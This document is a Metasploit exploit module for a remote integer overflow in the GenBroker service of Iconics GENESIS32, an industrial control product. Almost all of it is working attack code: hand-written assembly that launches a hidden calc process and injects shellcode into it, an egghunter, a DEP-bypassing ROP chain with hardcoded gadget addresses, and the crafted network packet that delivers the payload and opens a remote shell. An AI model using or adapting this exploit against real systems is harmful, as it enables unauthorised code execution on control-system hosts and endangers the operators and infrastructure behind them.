Iconics GENESIS32 9.21.201.01 – Integer Overflow (Metasploit)
## # $Id: iconics_genbroker.rb 13197 2011-07-17 15:01:46Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Egghunter def initialize(info={}) super(update_info(info, 'Name' => "Iconics GENESIS32 Integer overflow version 9.21.201.01", 'Description' => %q{ The GenBroker service on port 38080 is affected by three integer overflow vulnerabilities while handling opcode 0x4b0, which is caused by abusing the the memory allocations needed for the number of elements passed by the client. This results unexpected behaviors such as direct registry calls, memory location calls, or arbitrary remote code execution. Please note that in order to ensure reliability, this exploit will try to open calc (hidden), inject itself into the process, and then open up a shell session. Also, DEP bypass is supported. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 13197 $", 'Author' => [ 'Luigi Auriemma', #Initial discovery, poc 'Lincoln', #Metasploit 'corelanc0d3r', #Metasploit + custom migrate fu ], 'References' => [ ['URL', 'http://aluigi.org/adv/genesis_4-adv.txt'], ], 'Payload' => { 'BadChars' => "\x00", }, 'DefaultOptions' => { 'ExitFunction' => "thread", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP', { 'Ret' => "\x70\x45", 'Max' => 9000, } ], ], 'Privileged' => false, 'DisclosureDate' => "Mar 21 2011", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(38080) ], self.class) end def exploit migrate_asm = %Q| add esp,-500 ; adjust the stack to be sure pushad ; save stuff find_kernel32: ;find kernel32 push esi ; Save esi xor esi, esi ; Zero esi mov eax, fs:[esi + 0x4] ; Extract TEB mov eax, [eax - 0x1c] find_kernel32_base: find_kernel32_base_loop: dec eax ; Subtract to our next page xor ax, ax ; Zero the lower half cmp word [eax], 0x5a4d ; Is this the top of kernel32? jne find_kernel32_base_loop ; Nope? Try again. find_kernel32_base_finished: pop esi ; Restore esi mov edx,eax ; save base of kernel32 in edx jmp main_routine ; find function pointer find_function: pushad ;save all registers mov ebp, [esp + 0x24] ;base address of module that is being loaded in ebp mov eax, [ebp + 0x3c] ;skip over MSDOS header mov edx, [ebp + eax + 0x78] ;go to export table and put RVA in edx add edx, ebp ;add base address to it. mov ecx, [edx + 0x18] ;set up counter ECX (how many exported items are in array ?) mov ebx, [edx + 0x20] ;put names table relative offset in ebx add ebx, ebp ;add base address to it (ebx = absolute address of names table) ;(should never happen) ;unless function could not be found find_function_loop: jecxz find_function_finished ;if ecx=0, then last symbol has been checked. dec ecx ;ecx=ecx-1 ;with the current symbol ;and store offset in esi mov esi, [ebx + ecx * 4] ;get relative offset of the name associated add esi, ebp ;add base address (esi = absolute address of current symbol) compute_hash: xor edi, edi ;zero out edi xor eax, eax ;zero out eax cld ;clear direction flag. compute_hash_again: lodsb ;load bytes at esi (current symbol name) into al, + increment esi test al, al ;end of string ? jz compute_hash_finished ;yes ror edi, 0xd ;no, rotate value of hash 13 bits to the right add edi, eax ;add current character of symbol name to hash accumulator jmp compute_hash_again ;continue loop compute_hash_finished: find_function_compare: cmp edi, [esp + 0x28] ;see if computed hash matches requested hash (at esp+0x28) jnz find_function_loop ;no match, go to next symbol mov ebx, [edx + 0x24] ;if match : extract ordinals table (relative offset and put in ebx) add ebx, ebp ;add base address (ebx = absolute address of ordinals address table) mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes) mov ebx, [edx + 0x1c] ;get address table relative and put in ebx add ebx, ebp ;add base address (ebx = absolute address of address table) mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal and put in eax add eax, ebp ;add base address (eax = absolute address of function address) mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad (return func addr in eax) find_function_finished: ;retrieve original registers (eax will contain function address) popad ret ;-------------------------------------------------------------------------------------- find_funcs_for_dll: lodsd ;load current hash into eax (pointed to by esi) push eax ;push hash to stack push edx ;push base address of dll to stack call find_function mov [edi], eax ;write function pointer into address at edi add esp, 0x08 ;adjust stack add edi, 0x04 ;increase edi to store next pointer cmp esi, ecx ;did we process all hashes yet ? jne find_funcs_for_dll ;get next hash and lookup function pointer find_funcs_for_dll_finished: ret ;-------------------------------------------------------------------------------------- main_routine: sub esp,0x1c ;allocate space on stack to store function addresses + ptr to string mov ebp,esp ; ebp+4 : GetStartupInfo ; ebp+8 : CreateProcess ; ebp+C : VirtualAllocEx ; ebp+10 : WriteProcessMemory ; ebp+14 : CreateRemoteThread ; ebp+18 : Sleep ; ebp+1c : ptr to calc jmp get_func_hash get_func_hash_return: pop esi ;get pointer to hashes into esi ;edi will be increased with 0x04 for each hash lea edi, [ebp+0x4] ;we will store the function addresses at edi mov ecx,esi add ecx,0x18 call find_funcs_for_dll ;get function pointers for all hashes ; get our own startupinfo at esp+0x60 ; ebp+4 = GetStartupInfo mov edx,esp add edx,0x60 push edx call [ebp+0x4] ;ptr to startupinfo is in eax ; create a new process ; pointer to string is in ecx ; ebp+8 = CreateProcessA ; ptr to startupinfo is now in eax ; no need to patch startupinfo, target runs as a service ; +2c : dwFlags : set to 0x1 ; +30 : wShowWind : set to 0 (hide) ; create the process mov edi,eax add edi,48 push edi ; lpProcessInformation : write processinfo here push eax ; lpStartupInfo : current info (read) push 0 ; lpCurrentDirectory push 0 ; lpEnvironment push 0x08000000 ; dwCreationFlags push 0 ; bInHeritHandles push 0 push 0 push esi ; ptr to calc push 0 call [ebp+0x8] ; muahah calc ftw, now sleep a bit push 0xbb8 ; 3 seconds call [ebp+0x18] ; allocate memory in the process (VirtualAllocEx()) ; get handle mov ecx,[edi] push 0x40 ; RWX push 0x1000 ; MEM_COMMIT push 0x1000 ; size push 0 ; address push ecx ; handle call [ebp+0xc] ; eax now contains the destination ; WriteProcessMemory() mov ecx,[edi] ; pick up handle again push 0x1000 ; size ; pick up pointer to shellcode & push to stack mov ebx,[esp+0x20] add ebx,320 push ebx ; source push eax ; destination push ecx ; handle call [ebp+0x10] ; run the code (CreateRemoteThread()) mov ecx,[edi] ; pick up handle again push 0 ; lpthreadID push 0 ; run immediately push 0 ; no parameter mov ebx,[esp-0x4] push ebx ; shellcode push 0x2000 ; stacksize push 0 ; lpThreadAttributes push ecx call [ebp+0x14] ; go baby ! get_func_hash: call get_func_hash_return db 0xD7 ;GetStartupInfoA db 0xE3 db 0x7A db 0x86 db 0x72 ;CreateProcessA db 0xfe db 0xb3 db 0x16 db 0x9c ;VirtualAllocEx db 0x95 db 0x1a db 0x6e db 0xa1 ;WriteProcessMemory db 0x6a db 0x3d db 0xd8 db 0xdd ;CreateRemoteThread db 0x9c db 0xbd db 0x72 ;Sleep db 0xB0 db 0x49 db 0x2D db 0xDB ; sneak in ptr to string too :) db "calc" db 0x00 | migrate = Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string nops = make_nops(10) * 4 thepayload = migrate << nops << payload.encoded eggoptions = { :eggtag => 'w00t', } hunter, egg = generate_egghunter(thepayload, "", eggoptions) header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00" header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40" rop_chain = [ 0x100b257b, # POP ESP # RETN 0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py) 0x10047355, # Duplicate, readable, RETN 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xffffffde, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x1011e33e, # XCHG EAX,EDX # RETN 0x1001ab22, # POP ECX # RETN ** [GenClientU.dll] 0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP) 0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll] 0x10080163, # POP ESI # RETN -> EDI 0x41414141, 0x41414141, 0xffffffff, # NtCurrentProcess() (EBX) 0x7c331d24, # ptr to 0x2 -> ECX 0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll] 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xfffffffc, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x100dda84, # PUSHAD # RETN ** [GenClientU.dll] 0x90908aeb, # go to egghunter ].pack('V*') sploit = target['Ret'] * 180 sploit << [0x74757677].pack('V') * 8 sploit << "\x77\x77" sploit << hunter #32 byte hunter, no room for checksum sploit << rop_chain sploit << make_nops(28) sploit << egg sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status("Sending request. This will take a few seconds...") sock.put(header + sploit) handler disconnect end end |